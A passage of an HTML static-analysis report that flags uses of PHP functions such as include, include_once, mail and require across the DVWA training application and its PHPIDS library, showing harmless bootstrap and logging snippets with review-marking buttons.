class='snippet'><code>12-if( isset( $_POST[ 'create_db' ] ) ) { 13- 14- if ($DBMS == 'MySQL') { 15: <span class='match_highlight'>include</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/DBMS/MySQL.php'; 16- } 17- elseif ($DBMS == 'PGSQL') { 18: <span class='match_highlight'>include</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/DBMS/PGSQL.php'; 19- } 20- else { 21- dvwaMessagePush( "ERROR: Invalid database selected. Please review the config file syntax." );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./phpinfo.php</span>:<span class='line_number'>3</span> <span class='match_count'>(67/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 3:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 4- 5-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>241</span> <span class='match_count'>(68/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>238- $menuBlocks['vulnerabilities'][] = array( 'id' => 'brute', 'name' => 'Brute Force', 'url' => 'vulnerabilities/brute/.' ); 239- $menuBlocks['vulnerabilities'][] = array( 'id' => 'exec', 'name' => 'Command Execution', 'url' => 'vulnerabilities/exec/.' ); 240- $menuBlocks['vulnerabilities'][] = array( 'id' => 'csrf', 'name' => 'CSRF', 'url' => 'vulnerabilities/csrf/.' ); 241: $menuBlocks['vulnerabilities'][] = array( 'id' => 'fi', 'name' => 'File Inclusion', 'url' => 'vulnerabilities/fi/.?page=<span class='match_highlight'>include</span>.php' ); 242- $menuBlocks['vulnerabilities'][] = array( 'id' => 'sqli', 'name' => 'SQL Injection', 'url' => 'vulnerabilities/sqli/.' ); 243- $menuBlocks['vulnerabilities'][] = array( 'id' => 'sqli_blind', 'name' => 'SQL Injection (Blind)', 'url' => 'vulnerabilities/sqli_blind/.' ); 244- $menuBlocks['vulnerabilities'][] = array( 'id' => 'upload', 'name' => 'Upload', 'url' => 'vulnerabilities/upload/.' );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>11</span> <span class='match_count'>(69/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>8-define( 'DVWA_WEB_ROOT_TO_PHPIDS', 'external/phpids/'.dvwaPhpIdsVersionGet().'/' ); 9-define( 'DVWA_WEB_PAGE_TO_PHPIDS', DVWA_WEB_PAGE_TO_ROOT.DVWA_WEB_ROOT_TO_PHPIDS ); 10- 11:// Add PHPIDS to <span class='match_highlight'>include</span> path 12:set_<span class='match_highlight'>include</span>_path( get_<span class='match_highlight'>include</span>_path().PATH_SEPARATOR.DVWA_WEB_PAGE_TO_PHPIDS.'lib/' ); 13- 14-require_once 'IDS/Init.php'; 15-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./logout.php</span>:<span class='line_number'>4</span> <span class='match_count'>(70/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'phpids' ) ); 7-</code></pre> </div> </div> </div> </div> <div class='signature_14bc8cdea3dd1973da3ef53db302e21e signature_group_dangerous_functions signature_group'> <a name='s-14bc8cdea3dd1973da3ef53db302e21e'></a> <h3> <code>include_once</code> <span class='signature_count'>(10)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","14bc8cdea3dd1973da3ef53db302e21e")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>105</span> <span class='match_count'>(1/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>103- if ($caching && $caching != 'none') { 104- $this->cacheSettings = $init->config['Caching']; 105: <span class='match_highlight'>include_once</span> 'IDS/Caching/Factory.php'; 106- $this->cache = IDS_Caching::factory($init, 'storage'); 107- } 108-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>233</span> <span class='match_count'>(2/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>230- $nocache = $filters instanceof SimpleXMLElement; 231- $filters = $nocache ? $filters->filter : $filters; 232- 233: <span class='match_highlight'>include_once</span> 'IDS/Filter.php'; 234- 235- foreach ($filters as $filter) { 236-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>328</span> <span class='match_count'>(3/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>325- $nocache = !is_array($filters); 326- $filters = $nocache ? $filters->filters->filter : $filters; 327- 328: <span class='match_highlight'>include_once</span> 'IDS/Filter.php'; 329- 330- foreach ($filters as $filter) { 331-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Factory.php</span>:<span class='line_number'>76</span> <span class='match_count'>(4/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>73- $wrapper . '.php'; 74- 75- if (file_exists($path)) { 76: <span class='match_highlight'>include_once</span> $path; 77- 78- if (class_exists($class)) { 79- $object = call_user_func(array($class, 'getInstance'),</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Monitor.php</span>:<span class='line_number'>224</span> <span class='match_count'>(5/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>221- ); 222- } 223- 224: <span class='match_highlight'>include_once</span> 'IDS/Report.php'; 225- $this->report = new IDS_Report; 226- } 227-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Monitor.php</span>:<span class='line_number'>260</span> <span class='match_count'>(6/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>257- if (is_string($value)) { 258- 259- if ($filter = $this->_detect($key, $value)) { 260: <span class='match_highlight'>include_once</span> 'IDS/Event.php'; 261- $this->report->addEvent( 262- new IDS_Event( 263- $key,</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Monitor.php</span>:<span class='line_number'>317</span> <span class='match_count'>(7/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>314- } 315- 316- // use the converter 317: <span class='match_highlight'>include_once</span> 'IDS/Converter.php'; 318- $value = IDS_Converter::runAll($value); 319- $value = IDS_Converter::runCentrifuge($value, $this); 320-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Monitor.php</span>:<span class='line_number'>368</span> <span class='match_count'>(8/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>365- */ 366- private function _purifyValues($key, $value) { 367- 368: <span class='match_highlight'>include_once</span> $this->pathToHTMLPurifier; 369- 370- if (!is_writeable($this->HTMLPurifierCache)) { 371- throw new Exception(</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Init.php</span>:<span class='line_number'>87</span> <span class='match_count'>(9/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>84- */ 85- private function __construct($configPath = null) 86- { 87: <span class='match_highlight'>include_once</span> 'IDS/Monitor.php'; 88: <span class='match_highlight'>include_once</span> 'IDS/Filter/Storage.php'; 89- 90- if ($configPath) { 91- $this->setConfigPath($configPath);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./setup.php</span>:<span class='line_number'>15</span> <span class='match_count'>(10/10)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-if( isset( $_POST[ 'create_db' ] ) ) { 13- 14- if ($DBMS == 'MySQL') { 15: <span class='match_highlight'>include_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/DBMS/MySQL.php'; 16- } 17- elseif ($DBMS == 'PGSQL') { 18: <span class='match_highlight'>include_once</span> DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/DBMS/PGSQL.php'; 19- } 20- else { 21- dvwaMessagePush( "ERROR: Invalid database selected. Please review the config file syntax." );</code></pre> </div> </div> </div> </div> <div class='signature_a7f4298e8238817b5bbabc120dd310f0 signature_group_dangerous_functions signature_group'> <a name='s-a7f4298e8238817b5bbabc120dd310f0'></a> <h3> <code>mail(</code> <span class='signature_count'>(4)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","a7f4298e8238817b5bbabc120dd310f0")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>160</span> <span class='match_count'>(1/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>158- if ($impact >= $this->threshold['kick']) { 159- $this->idslog($result, 3, $impact); 160: $this->ids<span class='match_highlight'>mail(</span>$result); 161- $this->idskick($result); 162- return true; 163- } else if ($impact >= $this->threshold['warn']) { 164- $this->idslog($result, 2, $impact); 165: $this->ids<span class='match_highlight'>mail(</span>$result); 166- $this->idswarn($result); 167- return true; 168- } else if ($impact >= $this->threshold['mail']) { 169- $this->idslog($result, 1, $impact); 170: $this->ids<span class='match_highlight'>mail(</span>$result); 171- return true; 172- } else if ($impact >= $this->threshold['log']) { 173- $this->idslog($result, 0, $impact);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>230</span> <span class='match_count'>(2/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>227- * @param array $results 228- * @return boolean 229- */ 230: private function ids<span class='match_highlight'>mail(</span>$result) { 231- 232- vendor('phpids/IDS/Log/Email.php'); 233- vendor('phpids/IDS/Log/Composite.php');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>185</span> <span class='match_count'>(3/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>182- public static function getInstance($config) 183- { 184- if (!self::$instance) { 185: self::$instance = new IDS_Log_E<span class='match_highlight'>mail(</span>$config); 186- } 187- 188- return self::$instance;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>381</span> <span class='match_count'>(4/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>378- protected function send($address, $data, $headers, $envelope = null) 379- { 380- if (!$envelope || strpos(ini_get('sendmail_path'),' -f') !== false) { 381: return <span class='match_highlight'>mail(</span>$address, 382- $this->subject, 383- $data, 384- $headers); 385- } else { 386: return <span class='match_highlight'>mail(</span>$address, 387- $this->subject, 388- $data, 389- $headers,</code></pre> </div> </div> </div> </div> <div class='signature_f0ffd3b7c2574ac324603ed00488c850 signature_group_dangerous_functions signature_group'> <a name='s-f0ffd3b7c2574ac324603ed00488c850'></a> <h3> <code>require</code> <span class='signature_count'>(99)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","f0ffd3b7c2574ac324603ed00488c850")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./instructions.php</span>:<span class='line_number'>4</span> <span class='match_count'>(1/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./index.php</span>:<span class='line_number'>5</span> <span class='match_count'>(2/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4- 5:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 6- 7-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 8-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>5</span> <span class='match_count'>(3/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4- 5:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 6- 7-dvwaPageStartup( array( 'phpids' ) ); 8-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./ids_log.php</span>:<span class='line_number'>4</span> <span class='match_count'>(4/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-define( 'DVWA_WEB_ROOT_TO_PHPIDS_LOG', 'external/phpids/'.dvwaPhpIdsVersionGet().'/lib/IDS/tmp/phpids_log.txt' ); 7-define( 'DVWA_WEB_PAGE_TO_PHPIDS_LOG', DVWA_WEB_PAGE_TO_ROOT.DVWA_WEB_ROOT_TO_PHPIDS_LOG );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./about.php</span>:<span class='line_number'>4</span> <span class='match_count'>(5/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./security.php</span>:<span class='line_number'>4</span> <span class='match_count'>(6/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(7/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(8/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/csrf/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'csrf'; 33-$page[ 'source_button' ] = 'csrf';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(9/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(10/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/fi/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'fi'; 33-$page[ 'source_button' ] = 'fi';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(11/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(12/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/sqli_blind/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'sqli_blind'; 33-$page[ 'source_button' ] = 'sqli_blind';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source.php</span>:<span class='line_number'>4</span> <span class='match_count'>(13/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(14/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(15/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/brute/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'brute'; 33-$page[ 'source_button' ] = 'brute';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(16/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(17/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/exec/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'exec'; 33-$page[ 'source_button' ] = 'exec';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(18/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(19/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/upload/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'upload'; 33-$page[ 'source_button' ] = 'upload';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_help.php</span>:<span class='line_number'>4</span> <span class='match_count'>(20/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(21/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(22/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/sqli/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'sqli'; 33-$page[ 'source_button' ] = 'sqli';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source_all.php</span>:<span class='line_number'>3</span> <span class='match_count'>(23/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 3:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 4- 5-dvwaPageStartup( array( 